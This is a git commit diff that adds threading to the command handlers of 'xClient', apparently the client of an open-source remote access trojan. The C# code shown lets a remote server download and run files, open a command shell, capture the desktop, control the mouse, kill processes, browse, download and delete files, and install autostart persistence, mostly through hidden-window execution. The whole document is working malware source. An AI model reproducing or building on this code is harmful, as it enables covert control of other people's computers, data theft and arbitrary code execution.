Improved Client Behavior

Added threading to all client commands.  Initially added this
specifically for the messagebox command.  Running remote desktop and
sending a messagebox to the client, the client would hang on the
messagebox portion until messagebox button was pressed.  All the
commands will benefit from being threaded especially when multi-tasking
This commit is contained in:
d3agle 2015-04-08 21:03:47 -05:00
parent c623880cf1
commit 29e64c41ee
1 changed files with 502 additions and 409 deletions

View File

@ -37,9 +37,12 @@ namespace xClient.Core.Commands
private const string DELIMITER = "$E$"; private const string DELIMITER = "$E$";
public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client) public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client)
{
new Thread(() =>
{ {
SystemCore.InitializeGeoIp(); SystemCore.InitializeGeoIp();
new Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex, SystemCore.GetId()).Execute(client); new Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex, SystemCore.GetId()).Execute(client);
}).Start();
} }
public static void HandleDownloadAndExecuteCommand(Packets.ServerPackets.DownloadAndExecute command, Client client) public static void HandleDownloadAndExecuteCommand(Packets.ServerPackets.DownloadAndExecute command, Client client)
@ -96,6 +99,8 @@ namespace xClient.Core.Commands
} }
public static void HandleUploadAndExecute(Packets.ServerPackets.UploadAndExecute command, Client client) public static void HandleUploadAndExecute(Packets.ServerPackets.UploadAndExecute command, Client client)
{
new Thread(() =>
{ {
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
@ -133,13 +138,17 @@ namespace xClient.Core.Commands
{ {
DeleteFile(filePath); DeleteFile(filePath);
new Packets.ClientPackets.Status(string.Format("Execution failed: {0}", ex.Message)).Execute(client); new Packets.ClientPackets.Status(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
return;
} }
}).Start();
} }
public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Client client) public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Client client)
{ {
new Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client); new Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);
new Thread(() =>
{
if (Settings.STARTUP) if (Settings.STARTUP)
{ {
if (SystemCore.AccountType == "Admin") if (SystemCore.AccountType == "Admin")
@ -166,6 +175,8 @@ namespace xClient.Core.Commands
key.Close(); key.Close();
} }
} }
return;
} }
} }
else else
@ -182,7 +193,9 @@ namespace xClient.Core.Commands
} }
} }
catch catch
{ } {
return;
}
} }
} }
@ -219,9 +232,14 @@ namespace xClient.Core.Commands
SystemCore.Disconnect = true; SystemCore.Disconnect = true;
client.Disconnect(); client.Disconnect();
} }
}).Start();
} }
public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client) public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
{
new Thread(() =>
{
try
{ {
if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality) if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality)
StreamCodec = new UnsafeStreamCodec(command.Quality); StreamCodec = new UnsafeStreamCodec(command.Quality);
@ -243,8 +261,16 @@ namespace xClient.Core.Commands
LastDesktopScreenshot.UnlockBits(bmpdata); LastDesktopScreenshot.UnlockBits(bmpdata);
LastDesktopScreenshot.Dispose(); LastDesktopScreenshot.Dispose();
} }
catch
{
return;
}
}).Start();
}
public static void HandleGetProcesses(Packets.ServerPackets.GetProcesses command, Client client) public static void HandleGetProcesses(Packets.ServerPackets.GetProcesses command, Client client)
{
new Thread(() =>
{ {
Process[] pList = Process.GetProcesses(); Process[] pList = Process.GetProcesses();
string[] processes = new string[pList.Length]; string[] processes = new string[pList.Length];
@ -261,34 +287,48 @@ namespace xClient.Core.Commands
} }
new Packets.ClientPackets.GetProcessesResponse(processes, ids, titles).Execute(client); new Packets.ClientPackets.GetProcessesResponse(processes, ids, titles).Execute(client);
}).Start();
} }
public static void HandleKillProcess(Packets.ServerPackets.KillProcess command, Client client) public static void HandleKillProcess(Packets.ServerPackets.KillProcess command, Client client)
{
new Thread(() =>
{ {
try try
{ {
Process.GetProcessById(command.PID).Kill(); Process.GetProcessById(command.PID).Kill();
} }
catch catch
{ } {
return;
}
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
}).Start();
} }
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client) public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
{ {
ProcessStartInfo startInfo = new ProcessStartInfo {UseShellExecute = true, FileName = command.Processname}; new Thread(() =>
{
ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname };
Process.Start(startInfo); Process.Start(startInfo);
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
}).Start();
} }
public static void HandleDrives(Packets.ServerPackets.Drives command, Client client) public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)
{
new Thread(() =>
{ {
new Packets.ClientPackets.DrivesResponse(Environment.GetLogicalDrives()).Execute(client); new Packets.ClientPackets.DrivesResponse(Environment.GetLogicalDrives()).Execute(client);
}).Start();
} }
public static void HandleDirectory(Packets.ServerPackets.Directory command, Client client) public static void HandleDirectory(Packets.ServerPackets.Directory command, Client client)
{
new Thread(() =>
{ {
try try
{ {
@ -328,7 +368,9 @@ namespace xClient.Core.Commands
catch catch
{ {
new Packets.ClientPackets.DirectoryResponse(new string[] { DELIMITER }, new string[] { DELIMITER }, new long[] { 0 }).Execute(client); new Packets.ClientPackets.DirectoryResponse(new string[] { DELIMITER }, new string[] { DELIMITER }, new long[] { 0 }).Execute(client);
return;
} }
}).Start();
} }
public static void HandleDownloadFile(Packets.ServerPackets.DownloadFile command, Client client) public static void HandleDownloadFile(Packets.ServerPackets.DownloadFile command, Client client)
@ -358,20 +400,26 @@ namespace xClient.Core.Commands
catch (Exception ex) catch (Exception ex)
{ {
new Packets.ClientPackets.DownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message).Execute(client); new Packets.ClientPackets.DownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message).Execute(client);
return;
} }
}).Start(); }).Start();
} }
public static void HandleDownloadFileCanceled(Packets.ServerPackets.DownloadFileCanceled command, Client client) public static void HandleDownloadFileCanceled(Packets.ServerPackets.DownloadFileCanceled command, Client client)
{
new Thread(() =>
{ {
if (!_cancledDownloads.ContainsKey(command.ID)) if (!_cancledDownloads.ContainsKey(command.ID))
{ {
_cancledDownloads.Add(command.ID, "canceled"); _cancledDownloads.Add(command.ID, "canceled");
new Packets.ClientPackets.DownloadFileResponse(command.ID, "", new byte[0], -1, -1, "Canceled").Execute(client); new Packets.ClientPackets.DownloadFileResponse(command.ID, "", new byte[0], -1, -1, "Canceled").Execute(client);
} }
}).Start();
} }
public static void HandleMouseClick(Packets.ServerPackets.MouseClick command, Client client) public static void HandleMouseClick(Packets.ServerPackets.MouseClick command, Client client)
{
new Thread(() =>
{ {
if (command.LeftClick) if (command.LeftClick)
{ {
@ -395,9 +443,12 @@ namespace xClient.Core.Commands
mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0); mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
} }
} }
}).Start();
} }
public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client) public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client)
{
new Thread(() =>
{ {
try try
{ {
@ -429,10 +480,15 @@ namespace xClient.Core.Commands
new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client); new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
} }
catch catch
{ } {
return;
}
}).Start();
} }
public static void HandleVisitWebsite(Packets.ServerPackets.VisitWebsite command, Client client) public static void HandleVisitWebsite(Packets.ServerPackets.VisitWebsite command, Client client)
{
new Thread(() =>
{ {
string url = command.URL; string url = command.URL;
@ -465,17 +521,23 @@ namespace xClient.Core.Commands
} }
} }
catch catch
{ } {
return;
}
} }
new Packets.ClientPackets.Status("Visited Website").Execute(client); new Packets.ClientPackets.Status("Visited Website").Execute(client);
} }
}).Start();
} }
public static void HandleShowMessageBox(Packets.ServerPackets.ShowMessageBox command, Client client) public static void HandleShowMessageBox(Packets.ServerPackets.ShowMessageBox command, Client client)
{
new Thread(() =>
{ {
MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon)); MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
new Packets.ClientPackets.Status("Showed Messagebox").Execute(client); new Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
}).Start();
} }
public static void HandleUpdate(Packets.ServerPackets.Update command, Client client) public static void HandleUpdate(Packets.ServerPackets.Update command, Client client)
@ -554,11 +616,16 @@ namespace xClient.Core.Commands
} }
public static void HandleMonitors(Packets.ServerPackets.Monitors command, Client client) public static void HandleMonitors(Packets.ServerPackets.Monitors command, Client client)
{
new Thread(() =>
{ {
new Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client); new Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client);
}).Start();
} }
public static void HandleShellCommand(Packets.ServerPackets.ShellCommand command, Client client) public static void HandleShellCommand(Packets.ServerPackets.ShellCommand command, Client client)
{
new Thread(() =>
{ {
if (_shell == null) if (_shell == null)
_shell = new Shell(); _shell = new Shell();
@ -569,18 +636,24 @@ namespace xClient.Core.Commands
CloseShell(); CloseShell();
else else
_shell.ExecuteCommand(input); _shell.ExecuteCommand(input);
}).Start();
} }
public static void CloseShell() public static void CloseShell()
{
new Thread(() =>
{ {
if (_shell != null) if (_shell != null)
{ {
_shell.CloseSession(); _shell.CloseSession();
_shell = null; _shell = null;
} }
}).Start();
} }
public static void HandleRename(Packets.ServerPackets.Rename command, Client client) public static void HandleRename(Packets.ServerPackets.Rename command, Client client)
{
new Thread(() =>
{ {
try try
{ {
@ -592,10 +665,15 @@ namespace xClient.Core.Commands
HandleDirectory(new Packets.ServerPackets.Directory(Path.GetDirectoryName(command.NewPath)), client); HandleDirectory(new Packets.ServerPackets.Directory(Path.GetDirectoryName(command.NewPath)), client);
} }
catch catch
{ } {
return;
}
}).Start();
} }
public static void HandleDelete(Packets.ServerPackets.Delete command, Client client) public static void HandleDelete(Packets.ServerPackets.Delete command, Client client)
{
new Thread(() =>
{ {
try try
{ {
@ -607,15 +685,20 @@ namespace xClient.Core.Commands
HandleDirectory(new Packets.ServerPackets.Directory(Path.GetDirectoryName(command.Path)), client); HandleDirectory(new Packets.ServerPackets.Directory(Path.GetDirectoryName(command.Path)), client);
} }
catch catch
{ } {
return;
}
}).Start();
} }
public static void HandleAction(Packets.ServerPackets.Action command, Client client) public static void HandleAction(Packets.ServerPackets.Action command, Client client)
{
new Thread(() =>
{ {
try try
{ {
ProcessStartInfo startInfo = new ProcessStartInfo(); ProcessStartInfo startInfo = new ProcessStartInfo();
switch(command.Mode) switch (command.Mode)
{ {
case 0: case 0:
startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.WindowStyle = ProcessWindowStyle.Hidden;
@ -641,10 +724,14 @@ namespace xClient.Core.Commands
catch catch
{ {
new Packets.ClientPackets.Status("Action failed!").Execute(client); new Packets.ClientPackets.Status("Action failed!").Execute(client);
return;
} }
}).Start();
} }
public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client) public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client)
{
new Thread(() =>
{ {
try try
{ {
@ -700,10 +787,14 @@ namespace xClient.Core.Commands
catch catch
{ {
new Packets.ClientPackets.Status("Startup Information failed!").Execute(client); new Packets.ClientPackets.Status("Startup Information failed!").Execute(client);
return;
} }
}).Start();
} }
public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem command, Client client) public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem command, Client client)
{
new Thread(() =>
{ {
try try
{ {
@ -778,7 +869,9 @@ namespace xClient.Core.Commands
catch catch
{ {
new Packets.ClientPackets.Status("Adding Autostart Item failed!").Execute(client); new Packets.ClientPackets.Status("Adding Autostart Item failed!").Execute(client);
return;
} }
}).Start();
} }
} }
} }